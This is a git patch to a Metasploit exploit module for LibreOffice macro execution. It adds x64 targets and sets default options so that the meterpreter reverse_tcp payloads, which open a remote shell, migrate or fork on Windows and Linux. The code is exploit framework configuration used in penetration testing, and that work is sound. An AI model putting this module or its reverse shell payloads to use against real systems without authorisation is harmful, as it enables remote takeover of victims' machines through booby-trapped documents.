From 392078990c7b3040c0f80acb42d806f95e7c8faa Mon Sep 17 00:00:00 2001 From: Shelby Pace Date: Wed, 17 Apr 2019 08:29:58 -0500 Subject: [PATCH] added x64 arch for targets --- .../multi/fileformat/libreoffice_macro_exec.rb | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/fileformat/libreoffice_macro_exec.rb b/modules/exploits/multi/fileformat/libreoffice_macro_exec.rb index 8d36a04bd3db..ab17b98973f2 100644 --- a/modules/exploits/multi/fileformat/libreoffice_macro_exec.rb +++ b/modules/exploits/multi/fileformat/libreoffice_macro_exec.rb @@ -46,17 +46,19 @@ def initialize(info = {}) 'Windows', { 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Payload' => 'windows/meterpreter/reverse_tcp' + 'Arch' => [ ARCH_X86, ARCH_X64 ], + 'Payload' => 'windows/meterpreter/reverse_tcp', + 'DefaultOptions' => { 'PrependMigrate' => true } } ], [ 'Linux', { 'Platform' => 'linux', - 'Arch' => ARCH_X86, + 'Arch' => [ ARCH_X86, ARCH_X64 ], 'Payload' => 'linux/x86/meterpreter/reverse_tcp', - 'CmdStagerFlavor' => 'printf' + 'DefaultOptions' => { 'PrependFork' => true }, + 'CmdStagerFlavor' => 'printf', } ] ],